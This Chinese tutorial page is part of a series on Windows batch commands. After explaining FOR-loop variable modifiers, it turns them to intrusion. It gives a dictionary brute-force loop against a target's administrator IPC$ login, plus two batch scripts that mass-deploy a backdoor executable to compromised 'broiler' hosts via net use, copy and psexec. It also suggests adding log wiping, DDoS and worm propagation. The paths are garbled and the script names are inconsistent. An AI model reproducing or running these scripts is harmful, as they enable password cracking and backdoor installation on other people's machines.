云南龙网

  1. 首页 > 云知道 > >

windows常用网络命令大全 分享Windows常用的批处理命令大全( 四 )

云知道命令


可以组合修饰符来得到多重结果：
%~dpI - 仅将 %I 扩充到一个驱动器号和路径
%~nxI - 仅将 %I 扩充到一个文件名和扩展名
%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
%~dp$PATH:i - 查找列在路径环境变量的目录 ， 并将 %I 扩充到找到的第一个驱动器号和路径 。
%~ftzaI - 将 %I 扩充到类似输出线路的 DIR
在以上例子中 ， %I 和 PATH 可用其他有效数值代替 。%~ 语法用一个有效的 FOR 变量名终止 。选取类似 %I 的大写变量名比较易读 ， 而且避免与不分大小写的组合键混淆 。
以上是MS的官方帮助 ， 下面我们举几个例子来具体说明一下For命令在入侵中的用途 。
sample2：
利用For命令来实现对一台目标Win2k主机的暴力密码破解 。
我们用net use /ipipc$ ”password“ /u：”administrator“来尝试这和目标主机进行连接 ， 当成功时记下密码 。
最主要的命令是一条：for /f i% in （dict.txt） do net use /ipipc$ ”i%“ /u：”administrator“
用i%来表示admin的密码 ， 在dict.txt中这个取i%的值用net use 命令来连接 。然后将程序运行结果传递给find命令－－
for /f i%% in （dict.txt） do net use /ipipc$ ”i%%“ /u：”administrator“|find ”：命令成功完成“》》D:ok.txt ， 这样就ko了 。
sample3：
你有没有过手里有大量肉鸡等着你去种后门＋木马呢？ ， 当数量特别多的时候 ， 原本很开心的一件事都会变得很郁闷：） 。文章开头就谈到使用批处理文件 ， 可以简化日常或重复性任务 。那么如何实现呢？呵呵 ， 看下去你就会明白了 。
主要命令也只有一条：（在批处理文件中使用 FOR 命令时 ， 指定变量使用 %%variable）
@for /f ”tokens=1 ， 2 ， 3 delims= “ %%i in （victim.txt） do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1 ， 在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k 。
而cultivate.bat无非就是用net use命令来建立IPC$连接 ， 并copy木马＋后门到victim ， 然后用返回码（If errorlever =）来筛选成功种植后门的主机 ， 并echo出来 ， 或者echo到指定的文件 。
delims= 表示vivtim.txt中的内容是一空格来分隔的 。我想看到这里你也一定明白这victim.txt里的内容是什么样的了 。应该根据%%i %%j %%k表示的对象来排列 ， 一般就是 ip password username 。
代码雏形：
--------- cut here then save as a batchfile（I call it main.bat ）---------
@echo off
@if ”%1“==”“ goto usage
@for /f ”tokens=1 ， 2 ， 3 delims= “ %%i in （victim.txt） do start call IPChack.bat %%i %%j %%k
@goto end
：usage
@echo run this batch in dos modle.or just double-click it.
：end
--------- cut here then save as a batchfile（I call it main.bat ） ---------
--------- cut here then save as a batchfile（I call it door.bat） ---------
@net use /%1ipc$ %3 /u：”%2“
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe/dmin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 》》ko.txt
@psexec /%1 c:winntsystem32windrv32.exe
@psexec /%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored 》》ko.txt
：failed
@echo Sorry can not connected to the victim.
--------- cut here then save as a batchfile（I call it door.bat） ---------
这只是一个自动种植后门批处理的雏形 ， 两个批处理和后门程序（Windrv32.exe） ， PSexec.exe需放在统一目录下 。批处理内容
尚可扩展 ， 例如：加入清除日志 DDOS的功能 ， 加入定时添加用户的功能 ， 更深入一点可以使之具备自动传播功能（蠕虫） 。此处不多做叙述 ， 有兴趣的朋友可自行研究 。

推荐阅读


上一篇：页脚分割线怎么设置

下一篇：我来教你Win10小娜无法联网怎么办